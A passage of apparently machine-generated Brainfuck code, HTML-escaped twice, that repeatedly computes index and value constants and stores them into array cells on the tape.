;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++[-&amp;lt;+++++++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;++++++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;+++++++++++++++++++&amp;gt;]&amp;lt;+++&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++[-&amp;lt;+++++++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++[-&amp;lt;+++++++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++[-&amp;lt;+++++++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;+++++++++++++++++++&amp;gt;]&amp;lt;+++&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++++++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;++++++++++++++++&amp;gt;]&amp;lt;+++&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++++++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;+++++++++++++++++++&amp;